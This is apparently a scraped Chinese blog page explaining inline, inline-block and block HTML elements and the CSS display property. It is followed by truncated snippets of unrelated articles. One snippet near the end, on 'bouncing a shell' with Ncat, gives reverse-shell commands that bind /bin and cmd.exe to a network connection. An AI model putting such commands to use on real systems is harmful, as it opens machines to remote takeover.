HTML標簽的類型分為三種:行內元素,行內塊元素,塊級元素

而標簽的屬性是可以轉換的

display:inline: 轉換為行內元素

display:linline-block 轉換為行內塊元素

display:block 轉換為塊級元素

特性:

行內元素:

1.無法設置寬高

2. margin上下無效,只有左右有效果,padding都有效果,會撐大空間;

box-sizing:border-box;無效,因為該屬性針對盒模型

3.不會自動換行

行內塊元素:

1. 不會自動換行

2.能夠設置寬高

3.默認排列方式為從左到右

4.可以使用text-align:center使內容相對于父盒子水平居中對齊,例如img標簽,可以使用text-align:center,相對父盒子居中對齊.,margin:0 auto無效

5.水平排列,但所有元素默認會有1個空格的間隙,因為元素之間在html中書寫有回車換行,瀏覽器解析會將其解析成一個空格.

塊級元素:

1.能夠識別寬高

2.margin和padding的上下左右均對其有效

3.可以自動換行

4.多個塊狀元素標簽寫在一起，默認排列方式為從上至下

5.可以使用margin:0 auto居中對齊

鏈路層三種類型的MAC地址

若需要轉載,請注明出處. 我們知道,鏈路層都是以MAC地址來進行通信雙方的地址標識的,如下圖:在應用中根據接收方的多寡來進行劃分,可分為以下三種: 單播(Unicast) 多播(Multicast) ...

php刪除html標簽的三種解決方法

分享下PHP刪除HTMl標簽的三種方法. 方法1:直接取出想要取出的標記 <?php //取出br標記 function strip($str) { $str=str_replace(&quot ...

javascript生成新標簽的三種方法

javascript生成新標簽的三種方法:http://www.cnblogs.com/online-link/p/6062423.html

matlab for循環的三種類型

學習了一半了,發現一個好網站,就是我想寫這篇博客用的,網絡真是個好東西!紀念下國慶啦 網址:http://www.yiibai.com/matlab/matlab_for_loop.html ---- ...

C&num; enum、int、string三種類型互相轉換

enum.int.string三種類型之間的互轉 #代碼: public enum Sex { Man=, Woman= } public static void enumConvert() { in ...

緩慢變化維 &lpar;Slowly Changing Dimension&rpar; 常見的三種類型及原型設計(轉)

開篇介紹 在從 OLTP 業務數據庫向 DW 數據倉庫抽取數據的過程中,特別是第一次導入之后的每一次增量抽取往往會遇到這樣的問題:業務數據庫中的一些數據發生了更改,到底要不要將這些變化也反映到數據倉庫 ...

ASP&period;NET 設計模式分為三種類型

設計模式分為三種類型,共23類. ?一.創建型模式:單例模式.抽象工廠模式.建造者模式.工廠模式.原型模式. ? ? ?二.結構型模式:適配器模式.橋接模式.裝飾模式.組合模式.外觀模式.享元模式.代 ...

云計算服務的三種類型(SaaS、PaaS、IaaS)

云計算可以幫助企業降低IT方面的成本和復雜性,并獲得他們蓬勃發展所需的靈活性與敏捷性.但是,規劃出通往云的明確路徑并非易事.畢竟用戶需要看透與云相關的市場大肆宣傳,然后理解并分析不同種類的云計算模式的 ...

OOM三種類型

OOM的三種類型: 堆OOM /** * -Xmx1g -XX:+PrintGCDetails -XX:MaxDirectMemorySize=100m * * @param args */ publ ...

隨機推薦

開始對函數式編程 產生了尊崇感，因為Spring4&period;x &comma;Grooxy&comma;Lisp&comma;網易出來傘哥和他的博客

1? 無意看到"丟棄重口味的xml配置--spring4用groovy配置bean",這篇文章,里面說到spring4開始可以使用Groovy進行配置,可以取代xml方式和注解方式 ...

&lbrack;NOIP2014&rsqb; 提高組 洛谷P1328 生活大爆炸版石頭剪刀布

題目描述 石頭剪刀布是常見的猜拳游戲:石頭勝剪刀,剪刀勝布,布勝石頭.如果兩個人出拳一樣,則不分勝負.在第二季第8 集中出現了一種石頭剪刀布的升級版游戲. 升級版游戲在傳統的 ...

?【組件】加載 load

Bear / js / utils / load.js 動態修改script標簽中的src屬性存在的問題 javascript創建css.js,onload觸發callback兼容主流瀏覽器的實現 各 ...

Pull和SAX解析的區別

Pull解析器和SAX解析器雖有區別但也有相似性.他們的區別為:SAX解析器的工作方式是自動將事件推入注冊的事件處理器進行處理,因此你不能控制事件的處理主動結束:而Pull解析器的工作方式為允許你的應 ...

C&plus;&plus; 面向對象學習1

#include "stdafx.h" #include //不要遺漏 否則不能使用cout using namespace std; class ...

F04 我的投資策略

我的投資理念:價值投資和右側趨勢投資.我的目標年化收益率: 15-25%我的投資時間:3-5年我的投資品種:股票 + EFT基金 買賣時間點的紀律(買入,賣出的時間原則)股票MA20為界限,高于則持有 ...

PHP怎么獲取系統信息和服務器詳細信息

https://zhidao.baidu.com/question/1435990326608475859.html 獲取系統類型及版本號: php_uname() (例:Windows NT COM ...

使用Ncat反彈Shell

ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe

總結

以上是生活随笔為你收集整理的html5中标签分为,HTML标签的三种类型的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。